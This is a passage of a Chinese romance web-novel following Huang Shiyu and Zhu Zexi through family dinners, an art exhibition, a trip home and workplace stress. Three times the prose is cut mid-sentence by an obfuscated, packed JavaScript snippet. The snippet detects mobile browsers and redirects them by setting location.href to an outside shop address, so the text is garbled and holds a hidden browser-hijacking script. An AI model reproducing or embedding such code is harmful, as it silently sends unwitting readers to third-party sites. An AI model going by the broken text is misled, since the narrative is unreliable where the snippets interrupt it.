黄时雨坐在沙发上,面前的茶几摆满了水果和茶水,保姆阿姨还走过来询问黄时雨想喝点什么,黄时雨秉持着不麻烦别人的原则,选择了距离自己最近的那一杯。 整个别墅内部比黄时雨想象得要大得多,一楼是客厅、餐厅、厨房和阳台,二楼主要是卧室、书房和衣帽间。 黄时雨忍不住好奇地到处打量。 “小黄,你随便看看,我跟她爸爸去院子里看看烤肉怎么样了啊,”许妈妈站起来,两个人一起去院子里查看烤肉的准备情况。 “你想不想看看我们家,我带你参观一下?” 黄时雨并不否认,“说实话我挺想看的,走吧。” 许灵均带着黄时雨在别墅里简单参观了一下,边走还边给她认真介绍,比如当时是怎么设计这里的,墙上的那些工艺品是什么来历等。 “两个孩子快下来吃烤肉了哦,”许爸爸朝楼上催促,“要趁热才好吃!” “来啦!” 两个人匆忙下楼,保姆阿姨已经把餐桌全部布置好了,许爸爸和许妈妈把烤肉架上的烤肉盛到盘子里端进来,整个屋子顿时香气四溢,油亮亮的烤肉片上撒满了辣椒面和孜然粉,还在滋滋地冒着热油,黄时雨肚子里的馋虫被勾得直叫。 四个人围坐在餐桌上,保姆阿姨在一旁帮忙切肉和分肉。 “小黄,许灵均在公司是不是总是偷懒,也不怎么上进?” 黄时雨正准备夹菜的手突然顿住,正犹豫着思考该怎么回答,就被许灵均一下子打断了,“爸,我已经完成工作了才休息的好不好,再说了吃饭还聊工作,真是的……” 黄时雨立刻在一旁附和,“对啊,叔叔,许灵均在公司表现挺好的,同事们也都很喜欢她。” 看到许爸爸的脸上终于露出了笑容,黄时雨的心才松懈了下来。 “诶,对了小黄,听说公司男生很少是不是?” “对,”黄时雨点点头,“女生差不多占70%。” 黄时雨心里隐隐有一种不好的预感,该不会是要给自己介绍对象吧?! 果然,这个想法刚出现不到两秒钟就得到了印证。 “阿姨认识一个很不错的男生,是阿姨之前公司同事的儿子,跟你差不多大,你看要不要阿姨帮你介绍介绍,你们俩认识认识啊?” 黄时雨差点被呛到,连忙摆手,“不用不用不用,谢谢阿姨的好意。” “哎呀,我们黄时雨现在不打算考虑这些的,再说了,人家还不一定看得上呢,”许灵均搂住黄时雨的肩膀,朝妈妈做了个鬼脸,“所以,妈妈,别吓着她了。” “对,快吃饭吧,”许爸爸招呼黄时雨,“小黄,多吃点啊。” “好!” 吃完饭时间还早,黄时雨本着不想麻烦许灵均的想法,拒绝了她要开车送自己的主意。 许灵均也不强求,一家人热情地把黄时雨送到小区门口,目送着她一路往地铁站走才转身回去。 黄时雨走在路上,心里总是反复回想起许妈妈刚刚提到的那句话,莫名地涌出一阵说不清道不明的情绪。 她拿出手机,自然而然地点进了那个最熟悉的名字——吴笙笙。 对面一秒接通,“怎么啦,苗苗?” 黄时雨沉默了两秒钟,不知道该怎么形容自己此刻的心情,“笙笙,我有重要的事情要跟你说。” “嗯,什么重要的事?” 黄时雨叹了口气,像是下定了决心,从学生时代到现在,这好像还是她第一次直面这件事,也是她第一次意识到对于祝则溪有着不同寻常的感情—— “我好像,真的喜欢上祝则溪了。” 63. 第六十三次招惹 这次的艺术展如期开幕,小组成员们每个人都提前好几天就收到了专属门票,诚邀大家在开展首日去观展。 “你去吗,许灵均?” 黄时雨翻来翻去地仔细观察这张具有特殊意义的专属门票,门票表面是镀金的,整个票面连在一起看就是津南美术馆的外观,镂空部分做成了此次艺术展的主题图案,同时右下角刻着“黄时雨”三个小字,看起来既优雅又精致。 “我应该不去,家里有点别的事情,后面有空再去吧,”许灵均摇摇头,无奈地把门票放进了工位抽屉里,然后打开电脑继续跟进后续新的项目。 “好吧,”黄时雨轻轻拍了拍许灵均的肩膀。 黄时雨把门票拿起来,放到有阳光漏进来的地方。 她眯着眼睛,盯着门票的漏光处凑近仔细观察,手上轻轻一转,阳光就随着门票上的漏光处在工位上形成不同长度的条纹,给单调的办公桌增添了一丝灵动。 这可是自己的第一个阶段性工作成果,黄时雨小心翼翼地把门票装进包里,像对待珍贵的宝物一样。 走在下班路上,黄时雨思索着,既然许灵均不去的话,要不要找个人跟自己一起去展览。 突然,有一对小情侣手牵手从黄时雨身边经过,女孩正在兴奋地跟男孩讲述自己工作上开心的事情,虽然擦肩而过仅仅只有几秒钟的时间,具体说了什么也听不清楚,但黄时雨还是从两个人幸福的表情中感受到了爱的意义。 黄时雨忍不住回头看,直到两人消失在转角处。 “好幸福的小情侣啊,”黄时雨突然自言自语了一句,心里也逐渐浮现出了一个最佳人选—— 要不,就邀请祝则溪跟我一起去吧。 这段时间,黄时雨一直密切关注着艺术展的布展情况,几乎每隔一天都要去现场查看一下进展,所以对于从公司到美术馆的路线,黄时雨已经能记得滚瓜烂熟了。 开展首日,黄时雨按照约定,准备到小区门口等待祝则溪,然后两人一起去艺术展。 可没想到的是,黄时雨已经提前十分钟下楼了,祝则溪竟然还是已经穿戴整齐早早站在自家小区门口了。 这次他穿的是一件带有红色条纹的短款运动服,搭配了一条直筒牛仔裤和一双黑色马丁靴。 果然,又是黄时雨没见过的穿搭。 她快步跑到祝则溪面前,被微风吹起的刘海粘到了微微流汗的脸颊上,黄时雨立刻用手轻轻拨开。 “走吧,”祝则溪从袋子里拿出一杯豆浆和一个豆沙馒头,“给,我猜你应该会喜欢吧?” 黄时雨顿时眼睛一亮,接过早餐袋时连声肯定,“猜得这么准啊,我特别喜欢!” 祝则溪借着整理衬衫领带的功夫,转头掩饰着嘴角藏不住的笑意。 星期一的早上总是车水马龙,黄时雨和祝则溪却悠闲地走在去往附近地铁站的路上,明明是每天早上上班的必经之路,黄时雨却总觉得今天的感觉跟平时完全不一样,可能是心态跟身边急匆匆赶路的其他上班族格格不入。 当然,也有可能是身边的人不一样的原因。 好不容易挤上地铁,人满为患的车厢里几乎没有多余的位置,黄时雨和祝则溪只能小心翼翼地缩在门边,每次到站都不得不下车让位,等别人下车完毕后再重新上来。 晃动的车厢和狭小的空间让两人之间的距离变得格外亲近。 祝则溪用胳膊帮黄时雨划定了一个安全区域,把胳膊横在黄时雨和其他人之间,另一只手拉住旁边的横杆,形成了一个牢固又安全的半包围姿势。 虽然两人的身体距离很近,但两人的脸却各自面向一边,梗着脖子,秉持着玩“木头人”的游戏规则,刻意保持着靠近又疏离的状态。 连续坐了十几站,才终于抵达本次的目的地——津南美术馆。 尽管今天是周一,但毕竟是暑假,带着小孩来参观的家长不在少数,黄时雨和祝则溪在门口过安检时,排了好长的队,才终于随着人流进入馆内。 虽然已经在展厅还未对外开放时就来过好几次了,黄时雨在进入展厅时,看到陈设、灯光、语音等配套设施全都一应俱全地呈现在参观者的眼前时,还是忍不住连声赞叹—— “哎呀,好棒的展啊,也不知道是谁做的?” 原本正安静看展的祝则溪嘴角忍不住抽动一下,他转头看了看周围,努力忍住不笑出声,“我知道是谁,听说她很厉害!” 整个展览是以地中海地区的美术发展为主题的,讲述了不同时期地中海的艺术家及其代表作品,在作品的排布和架构上,黄时雨所在的小组花费了不少时间和精力去尝试,甚至多次到线下实地考察,为的是将每一件在当时带给过人们艺术与美的感受的作品,能够穿越千年的岁月,让后来的人们可以有机会听到那些古老文明的呐喊。 黄时雨看似是在看作品,实际上正竖起耳朵认真聆听每一位参观者的评价。 祝则溪看得很认真,时不时还会停下来凑近观看,黄时雨也不急,陪着他在展厅里慢慢走,几乎是一步一停顿。 忽然,祝则溪在一座巨大雕塑面前停了下来,这也是本次展览中最有含金量的一件作品,是首次在中国大陆地区展出,毫不夸张的说,不少来观展的游客都是冲着这件展品来的。 这座雕塑面的已经围了好几圈人了,黄时雨和祝则溪从后排一点一点挪到前排,才得以有幸见证它的全貌。 只见祝则溪正在仔细阅读雕塑旁边的简介,黄时雨也跟他一起弯下腰。 “这个动态衣纹真的很灵动,再配上她的这对翅膀,按照简介上写的,‘堪称Hellenistic时期的巅峰’。” 黄时雨顺着祝则溪手指的方向看过去,对他的话深表赞同。 两人只在雕塑前停留了很短一会儿,就把位置让给了后来的其他参观者。 走到整个展览的尽头,黄时雨故意放慢了脚步,在结语旁边的一众名字中好不容易找到了排在倒数第二行的自己的名字。 祝则溪也跟着在黄时雨身边蹲下,盯着那个名字看了好久好久。 回过神来后,黄时雨才轻轻戳了戳已经看得入神的祝则溪的胳膊—— “祝则溪,我想跟这个名字合个影,”黄时雨挪动了一下位置,找到了一个光线比较好的方向。 “好,”祝则溪站起来,拿出手机往后退了几步。 他把黄时雨放在取景框的右下角,把那个名字放在了整个画面的最中间,然后选取了一个最佳的拍摄角度,连续拍了好几张照片。 看到祝则溪拍完比了一个“OK”的手势,黄时雨才从蹲着变成站着,“谢谢,我们走吧。” 黄时雨总是如此相信祝则溪,连带着他的拍照技术。 “小祝老师,请打分!” 虽然一路上已经听到了好多参观者对这个艺术展极高的评价,但黄时雨还是忍不住想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974961|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问问身边这位专业人士对此次展览的看法。 “我觉得,可以打100分,”祝则溪偏头看着黄时雨,脸上的笑意继续加深。 “你不要吹捧我,我要的是真实回答。” 祝则溪犹豫了一下,突然减掉了一分,“那就99分吧。” “?” 黄时雨突然有些不明所以。 “因为,我想给下次打分留点余地。” 这是黄时雨和祝则溪作为应届毕业生第一次没有暑假,两个人这几个月一直忙忙碌碌的,几乎很少见面,虽然家住得很近,但每天晚上下班后能在微信上聊一聊都已经算是非常大的恩赐了。 所以,现实情况是,黄时雨的工作强度一直到国庆节前一周才稍微有所缓和。 “苗苗,今年国庆节有时间回来吗?” 黄时雨刚从公司大楼出来,跟同事们道别后,妈妈就打电话过来了。 “妈妈,我看一下哦,”黄时雨点开备忘录,这个习惯是黄时雨上了大学之后避免遗忘才养成的,“能回来,不过可能只能待三四天,后面还有一项重要的工作安排,估计要提前开始。” 对面的语气稍微有点遗憾,“没事没事,以工作为主嘛,等你回来,妈妈给你做大餐哦!” 黄爸爸在对面抢过电话,“什么你给她做大餐,那是我来做好不好,连这点功劳你都抢。” “那我给你打下手不算功劳吗……” 黄时雨正打算开口“劝架”,电话突然“嘟”的一声不知道被谁挂断了。 行吧,黄时雨无奈地耸耸肩,继续沿着大道往家走。 要不问问另外三个回不回满城吧,黄时雨点开了已经沉寂很久的“一中小分队”的群—— “你们国庆节回满城吗?” 可能现在正是下班高峰期,除了吴笙笙以外的另外两个人都很快回复。 祝则溪:应该不回了,这段时间有点忙。 齐章年:我也不回,我爸妈他们可能会抽时间过来看我。 黄时雨叹了口气,果然,长大之后人各有志,再想约到一起的难度会变得越来越大,很多人嘴上说着“多见面”“常相聚”,实际上也不过是一纸空谈。 “好吧,那我问问笙笙。” 黄时雨刚想给吴笙笙打电话,突然想到笙笙这几天好像跟导师去外地参加学术会议了,于是抱着不能打扰她的想法,黄时雨最终还是放下了手机。 可是,就好像是有心电感应一般,吴笙笙竟然主动打电话过来了,黄时雨平静的脸上瞬间波澜起伏—— “笙笙?” “等一下,”吴笙笙从座位上站起来,偷偷跑到门外找到了一个比较安静的地方,音量也由小变大,恢复正常,“我终于出来了。” “你在开会啊?” 吴笙笙清了清嗓子,“算是吧,不过这个已经不是很重要啦,你是不是国庆要回满城啊?” 黄时雨不置可否,“对呀,你回去吗?” “我……也回去吧,反正满城那个家里现在就我一个人,吴致远打工去了,那两个人也不回去。” 黄时雨一时语塞。 她不知道曾经说再也不要回那个家的吴笙笙怎么突然改变了主意,不过她知道的是,只要吴笙笙需要,自己永远都在,无论何时,无论何地。 “笙笙,”黄时雨停下脚步,站在路边,“那我们一起回去吧?” “好!” 64. 第六十四次招惹 “本次高铁已抵达终点站——满城站,请乘客们有序下车离开。” 这趟高铁还在滑行,但听到广播的乘客们却已经开始躁动不安,交谈声和拿行李的声音成功把正在睡梦中的黄时雨和吴笙笙给吵醒了。 黄时雨从吴笙笙的肩膀上醒过来,皱着眉头看向窗外,好像眼睛一时半会儿还适应不了这样强烈的光线。 吴笙笙坐在外侧,她转了转脑袋,起身从架子上把黄时雨的行李箱和自己的双肩包拿了下来。 两人拿好各自的行李,坐在座位上等待着其他人下车。 等到两人出站的时候,已经夜幕降临了,黄时雨拿出手机正准备给爸爸打电话问他到哪了的时候,黄爸爸那个大嗓门就毫无征兆地在车站门口响起,再喧哗的人声都抵挡不住—— “苗苗,笙笙,这边!” 音调和高中时期一模一样。 这句话,黄时雨已经很久没有听过了,不变的话语,不变的语调,让黄时雨觉得,好像这些年就是满城一中放的一个悠然长假,现在她们回来了,一切都一如往常。 黄时雨和吴笙笙立刻跑过去,黄爸爸一边帮忙把行李放进后备箱,一边对两个小姑娘嘘寒问暖,“怎么感觉你俩都瘦了啊,在外面也要好好吃饭,好好休息,你们是怎么回事啊!” 黄时雨和吴笙笙对视一眼,然后无奈摇头。 “苗苗,你是哪天的返程车票啊?” 黄时雨正坐在后排回复工作群的消息,白眼都快翻上天了,语气也变得有气无力的,“四号上午的高铁。” “笙笙呢,你要待满整个假期还是?” “叔叔,我跟苗苗买的同一天的车票,也是四号就回去,导师还有任务要安排。” “噢好,”黄爸爸沿着大路一路往家的方向开去,“那这几天多吃点好吃的,笙笙,你也不要客气啊,随时过来吃饭都行!” 还是老规矩,先把吴笙笙送到家之后,黄时雨才踏上回家之路。 妈妈早早就等在小区门口了,车还没停稳,黄时雨就打开车窗,大声跟妈妈打招呼,“妈妈,我回来啦!” 妈妈瞬间眼睛一亮,上前一把紧紧抱住刚从车上走出来的黄时雨,“苗苗,终于回来了,上班辛不辛苦啊?” “也还好,妈妈,不怎么辛苦的。” 妈妈上下打量着黄时雨,捏了捏黄时雨的胳膊,又捏了捏她的脸,然后发出和爸爸一样的感叹,“哎呀,怎么变瘦了啊,这几天一定要多吃点!” 黄时雨认真点头,妈妈拉着黄时雨在前面走,爸爸在后面推着行李箱,一家子人说说笑笑地回到家。 黄时雨心里突然涌起一股久违的幸福感。 然而,这种幸福只是一个开始。 爸爸妈妈一不做二不休,一天一个花样轮番上阵,什么红烧鱼、回锅肉、毛血旺、箜干饭全都端了上来,不管中午还是晚上,都是大鱼大肉,黄时雨像饿虎扑食一样在各种美食之间来回穿梭,不知疲惫。 直到三号中午,吴笙笙在黄时雨的再三邀请下,终于同意来家里吃饭了。 有了吴笙笙帮忙分担火力,黄时雨终于不再被爸爸妈妈盯着吃饭了,心里松了一大口气。 吃完饭,按照惯例,该黄时雨洗碗的,可这次却被爸爸按住了,在她耳边提醒,“没事,我来洗,你去陪笙笙聊会天,去吧。” 黄时雨会意地点点头,把手里的碗放在水槽中,擦干手走出厨房。 “笙笙,好久没去江边走走了,去不去?” 黄时雨和吴笙笙靠在沙发上看了一会儿电视后,发现找来找去的电视节目质量都很一般,还不如出门走走,欣赏一下许久不见的满城美景。 吴笙笙赞同地点点头,关掉电视,跟着黄时雨走了出去。 江边的风依旧很温和,黄时雨和吴笙笙并肩走在小路上,明明周遭的建筑物都没有变化,却总感觉跟高中时期相比,又有了很大的不同。 或许是吹过的风、路过的人,也可能是走过的路。 “我跟你说,我们班那个男生……” 迎面走过来两个小女生,穿着满城一中的校服,背着书包从黄时雨和吴笙笙身边经过,两人的说话声从远到近又变远,黄时雨也没怎么听清楚,只感觉其中一个女生好像正在跟另一个女生聊什么校园八卦,那股由内而外的兴奋劲完全是十七八岁的少女的模样。 “苗苗,”吴笙笙回过头来轻轻开口。 “怎么了?” 吴笙笙突然停下脚步,坐到路边的长椅上,拍拍身边的座位让黄时雨也挨着坐下来。 黄时雨隐隐感觉吴笙笙要说什么大事,目光一直追随着她,等待吴笙笙亲自开口。 “不知道我有没有跟你说过,我其实是一个不婚主义者。” 毕竟在现在这个主流社会,有这种想法的人还是占少数,吴笙笙觉得可能很多人会觉得难以理解。所以,这么多年来,这还是她第一次试着说出自己内心最真实的想法。 因为黄时雨对她而言,是特别的人,她不想瞒着。 黄时雨轻笑出声,“说实话,我并不意外。” 吴笙笙疑惑的眼神撞上黄时雨的平静,让吴笙笙的心随之也冷静下来。 “我还以为你会觉得我这个想法很奇怪呢,”吴笙笙露出苦笑,无奈地摇摇头,“所以我一直没告诉你。” 黄时雨立马摇头,“我不觉得奇怪啊,每个人都有每个人的想法不是吗,有的人愿意谈恋爱结婚,有的人不愿意,这不过就是一个个人选择问题罢了,我们没有资格说哪一条路更好,更没有资格对别人的人生指指点点,因为我们每个人最终都只能选择众多道路中的一条,只要自己愿意,并且能够承担相应的结果就好了。” 吴笙笙长叹一口气,挽住黄时雨的胳膊,像是在对黄时雨说,又像是在自言自语,“苗苗……” “?” 吴笙笙笑着摇摇头,目光始终柔和地注视黄时雨,但最终却什么话也没有说。 黄时雨也不追问,只是轻轻把手搭在吴笙笙的手背上,因为她知道,就算两个人在此刻什么话都不说,就这样安静地坐着,都早已胜过了千言万语。 “苗苗,我能问问你当时是怎么意识到自己喜欢上祝则溪的吗?” 黄时雨回忆了一下当天的场景,吴笙笙当时确实是因为在忙而匆忙挂掉了电话,很多事情的细枝末节都还没来得及认真告诉她。 “是因为当时有其他人要给我介绍男朋友,我当场就毫不犹豫地拒绝了,因为我觉得他们都没有机会,哪怕他们再好。” 黄时雨顿了顿,不知道是想起了什么突然笑出来,“所以走出来的时候,我才意识到,因为我心里……早就有人了。” 黄时雨说完后突然把脸埋进手掌里,脸上的红晕慢慢从脸上蔓延到耳根,整个人就像一颗熟透的苹果。 吴笙笙特意靠过去,专门使坏似的在黄时雨耳边模仿她刚刚说的话,“早、就、有、人、了~” “你别说了,笙笙,我不听我不听,”黄时雨气急败坏地转身捂住吴笙笙的嘴,眯着眼睛露出一种十分凶狠的眼神,逼得吴笙笙终于停下了调侃。 黄时雨这才满意地收回手。 两个人一起沿着江边走了三个多小时,直到黄昏来临,才各自回家。 原来,那些几年前还是不谙世事的孩子,转眼间就变成了有心事的大人,只不过当朋友在身边时,大人也就拥有了重回童年的权利。 回到津 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982894|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南后,大家又各自投入到了新的忙碌之中。 “来,这是我从老家带来的特产,给大家尝尝,”黄时雨回到公司上班的第一天,就把妈妈硬塞给自己带走的特产依次分给小组里的同事们。 “谢谢!” 说这话的是跟黄时雨同期进入公司的新人——杜宁,也是黄时雨现阶段最大的竞争对手。按照组长所说,不出意外的话,明年提拔组长的候选人大概率就在黄时雨和杜宁之间出一个。 所以两个人都在暗自较劲,但不明说。 “不客气,”黄时雨微笑着点点头,转身回到自己的工位上。 这次的项目,是黄时雨之间从来没有接触过的领域——心理疾病的可视化呈现,偏偏自己又被不巧被分到了前期任务中,黄时雨叫苦不迭。 为了晚上能早点下班回家,黄时雨已经忙到连续好几天没有吃晚饭了。 “还不下班?” 杜宁经过时,轻轻拍了一下黄时雨的肩膀,黄时雨这才看到时间——9:55。 “我把这部分做完就走,”黄时雨停下来揉了揉眼睛,勉强露出一个疲惫的笑容,“你先走吧。” 杜宁扯出一个意味深长的笑,“好。” 办公室里还有零零散散几个加班的人,黄时雨快速完成了手上的最后一点工作,起身跟其他同事道别后,坐电梯下楼准备回家。 黄时雨走出电梯伸了个懒腰,像是要与一整天的疲惫告别。 “苗苗?” 黄时雨突然怔住,在公司,没有任何人知道自己的小名。 她转头看向那个正站在路灯下挥手打招呼的人。 他的左手提着一个小蛋糕盒子,努力挥动着右手招呼黄时雨过去。 黄时雨快步跑到祝则溪面前,双手搂住他的脖子,把下巴放到他的肩上,整个人迈进他怀里,却一句话也不说。 祝则溪的身体瞬间僵硬,他直愣愣地站在原地,双手不知道该放到哪里,他低头看了一眼怀里的人,生怕这是一场幻觉。 很快,他听到黄时雨埋在自己肩头轻微的啜泣声。 “每天晚上都加班……我不想加班了……” 黄时雨说话的声音染上哭腔,她断断续续地往外吐露心声,像是想把所有的伤心难过都一股脑抛出来,“好几版方案都说不通过,到底要怎么样啊……” 祝则溪悬在空中不知所措的手一边轻轻搭上黄时雨的背,一边轻轻抚摸着她的头发,声音温柔地能掐出水来—— “苗苗,是工作上遇到什么问题了吗?” 黄时雨从来没有像今天这样崩溃过,祝则溪总觉得事出有因,于是一边安抚住她的情绪,一边想要帮助她找到真正的原因。 “嗯,”黄时雨点点头,整个人的状态也慢慢冷静下来,“我想竞争当组长,所以想好好表现,但是确实压力太大了!” 她吸了吸鼻子,松开手,祝则溪也随即松开怀抱。 黄时雨快速抬手抹掉自己脸上的泪痕,跟祝则溪对视上的那一刻,她依然还在努力像往常一样努力挤出笑容,不希望身边的人为自己的消极情绪买单。 “吃点蛋糕吧,听说甜食有让人开心的能力,”祝则溪把包装盒打开,把勺子递到黄时雨手中。 黄时雨接过勺子的手指还有些颤抖,她舀起一勺蛋糕喂到嘴里,那种甜味不断冲刷着内心的悲伤,混合成一种让人想哭的冲动。 “祝则溪,你怎么知道我在加班的?” 祝则溪无奈地摇头,拿出手机给她看一个小时前发给她的消息,那条消息迄今为止依然孤零零地躺在聊天框中,没有收到任何回应。 ——“因为你一直没有回我的消息,我知道,你只有加班的时候才会这样。” 65. 第六十五次招惹 祝则溪入职的这家美术工作室新成立不久,入职员工数量较少,老板为了尽快拿出成绩,打出名号,对手下员工的要求很高,首当其冲的就是祝则溪。 因为祝则溪本身出身于顶级美术院校,作品集的完成度和质量也非常高,因此顺理成章成为了上司们的重点培养对象。 每周一的晨会是例行召开的,这周轮到了祝则溪负责主持。 “让我们有请于总上台发言!” 祝则溪快速而简洁地做了一个开场,接下来就是于总的长篇大论时间。 于总走上讲台,脸上春风得意的神采和台下一片生无可恋的表情形成了鲜明对比—— “大家早上好,我们工作室成立至今,也快有小一年的时间了,这期间,我们多次想跟这个行业有点名气的大公司合作,都被拒之门外,但今天,我要告诉大家一个好消息……”、 于总故意停顿了好几秒,等到大家都屏气凝神地盯着自己想知道后续的时候,才慢慢说道,“祝则溪有四幅作品成功获得了我之前谈合作的陈总的认可,他们打算今年年底开办一个美术作品展,大概一共有八到九位青年画家的作品,你就是其中之一,恭喜!” 祝则溪简直不敢相信自己的耳朵,他缓缓地从座位上站起来,脸上的表情从震惊变成怀疑最终变成兴奋,他磕磕绊绊地指着自己问,“真……真的吗?” 能有幸跟那么多艺术界小有名气的画家一起办展,对祝则溪这样初出茅庐的新人来说简直是可遇不可求的事情! 于总挑眉,“当然,你要相信你自己!” 走出会议室,听到身边经过的每一位同事都在跟自己贺喜,祝则溪才终于从震惊中回过神来。 回到工位上,祝则溪的一件事就是拿起手机把这个好消息分享给黄时雨。 “苗苗,今年年底我就可以跟别的画家一起办展了,我一共有四幅画入选了!” 黄时雨秒回了四个感叹号,“小祝老师你好厉害,从今往后,就会有越来越多的人能看到你的作品了,你的画作即将从象牙塔中走出来,进入普罗大众的视野,简直太棒了吧!” 祝则溪目不转睛地看着对话框中黄时雨一条一条发来的兴奋而激动的语音,脸上的笑意也止不住加深。 “跟谁聊天呢,这么开心?” 于总猝不及防地出现在祝则溪的背后,一个简单的拍肩的动作把祝则溪从兴奋状态拉回现实,“刚刚在会上我不方便说,你的这几幅作品里面呢,只有一幅是可以直接用的。” 于总一边说,一边在祝则溪身边的空椅子上坐了下来。 他打开手机,把一个已经整理完成的文件放到不明所以的祝则溪的面前—— “你看,对于你这样的新手画家来说,能通过这次的展览卖出作品,提高身价是最重要的事情,所以除了保留这一幅江边落日之外,其他的按照这个文件上的要求画出来,明白吗?” “于总,我画是能画,但是在这么短的时间里画出来的作品,其实很难保持质量,我有点怕……” “怕影响了你的声誉?” 还没等祝则溪说完,于总就直接打断了他的话,“我觉得呢,有时候艺术这种东西也不一定要完美才能拿出来公开展览吧,况且你认为的一般质量对于很多观众来说可能已经是高质量了,没必要想那么多。” 祝则溪听到后有些难以置信,他艰难地咽了咽口水,但又觉得这份工作着实来之不易,不敢轻易顶撞上司,“好,于总,我等会儿认真看看文件要求,只有这一条路是吗?” 祝则溪创作的所有作品,都是他当下对于生活的所思所想,是他生命征途的伴侣,也是成长路上最好的见证者。 他无法赞同,更无法想象展出一幅半成品画作对自己来说是一件多么痛苦的事情。 于总挑眉,“不然呢?” 一句轻飘飘的“不然呢”掩盖了祝则溪的所有希望,他深知自己目前没有任何反抗的资本,只好无奈地扯了扯嘴角,低头不再多说一句话。 而于总作为生意人是何等的精明,一眼就看穿了祝则溪在想什么。 他突然正襟危坐,以一个过来人的身份对祝则溪提出“衷心”的劝告——“小祝啊,我其实能够理解你现在的想法,以前也有跟你一样想法的人,但最终都服从了社会规律,毕竟对于艺术的追求,总得建立在吃饱饭的基础上,对吧?” 祝则溪始终没有抬头,自始至终都沉默地看着地面。 一个艺术创作者一旦沉入了世俗的洪流,再想全身而退,可就难于上青天了。 听到于总从画室关门离开,祝则溪才长叹一声,把自己这段时间画过的所有画都翻了出来,一页一页地仔细观察。 那些灵动的、飞舞的、绚烂的线条都是艺术创作的美好结晶,它们纯洁无暇,没有受到任何世俗的沾染。 祝则溪把它们整整齐齐收好后放进匣子里,像是把自己的艺术追求也暂时封存了起来。 两个月后,祝则溪将画好的另外三件作品也全部交给于总。 祝则溪把画拿到于总办公室时,却迟迟不愿意把画作放到桌面上。 他紧紧捏着画册一角,整个人像雕塑一样站在原地一动不动,就这样一直沉默了十几秒,才终于下定决心,把画册轻轻放在办公桌上,头也不回地关门走出去。 回到画室,祝则溪脑子里一片混乱,想要的颜色在调色盘上怎么都调不出来。 他懊恼地放下画笔,转身走到画室的阳台上,这是祝则溪在沉闷的画室中最喜欢的一个地方。 外面阳光很好,阳台上的植物一个个都精神饱满,在灿烂的阳光下充满生机,祝则溪蹲下来仔细观察着它们的样子,想要从这些植物身上重新找到一往无前的力量。 “同学们,今年大家是不是都要回满城过年啊,要不我们举办个同学会怎么样?” 等祝则溪点开微信时,里面的消息已经99+了。 祝则溪不停往上翻,才看到提出这个建议的人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994693|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗亦芃,下面的回复还在不断增加—— “我赞同!” “加一!” “什么时候,我看看安排。” “要参加的举手!” …… 祝则溪坐回椅子上,无聊地往上翻动聊天记录,要是按照往常,祝则溪应该已经在“一中小分队”的群聊里问另外几位的看法了。 突然,祝则溪的手机屏幕上毫无征兆地跳出了一个外卖电话—— “喂,您好,好的,麻烦您放在门口的外卖柜里就行,谢谢。” 挂掉电话,祝则溪带着疑惑的心情赶紧去外卖柜里取餐,“滴”的一声,外卖柜被打开。 是一杯奶茶,准确的说,是一杯芋泥波波奶茶。 祝则溪的心里猛地一惊—— 这是黄时雨当年为了感谢自己帮忙完成黑板报的时候买过的奶茶,因为祝则溪平时很少喝这些,所以记得格外清楚。 更巧合的是,包装袋上还是熟悉的“常温、少糖”。 拿回办公室,祝则溪的第一件事就是发消息给黄时雨—— “是你点的奶茶吗?” 黄时雨:“好喝吗?” 确认完毕,祝则溪迫不及待地插好吸管尝了一口,跟高中时期的味道一模一样,芋泥的甜香味还是那么浓郁,好像又带着祝则溪回到了两人初次接触的那段时光。 就好像阅读一本厚厚的书,批注了很多年的书页,到头来也只是完整一生中的序章。 “很好喝,跟以前的味道一模一样,谢谢。” 突然,手机顶部又一闪而过好几条黄时雨的消息,祝则溪立刻点进去,发现是她在“一中小分队”的群聊里发言—— “你们三个参不参加同学会啊?” 齐章年:当然要啊,有好些个同学都几年没见了吧。 祝则溪没有直接回复,而是先询问黄时雨的安排,“你要去吗?” 黄时雨随即发来一个“小熊点头”的表情包。 祝则溪默默记下这个重要信息,这才回复前面黄时雨的问题,“我也去。” 吴笙笙:那我也去吧,反正在家也无聊。 “好,那就这么说定了,到时候一个人都不能少哦!” 祝则溪看着屏幕上黄时雨的回复,竟然不自觉地又笑了出来。 他把奶茶放到一边,又重新铺好画纸,拿起手边的调色盘,略一思索就开始作画——毕竟这可是这位画家笔下最擅长的内容,从小到大,画了一遍又一遍。 下午四点,黄时雨应该正坐在办公桌前,一丝不苟地完成着组长布置的新任务,祝则溪一边想象着这个场景,一边行云流水地完成此次创作。 他满意地直起身子,目不转睛地盯着这幅画看了好长时间,光影、构图、角度、人体比例上的每一寸都是那么恰到好处。 毕竟祝则溪心中的黄时雨,永远都是这样,以最美的状态呈现在画作上,每一幅画上,都有着最甜美的、永不凋零的微笑。 66. 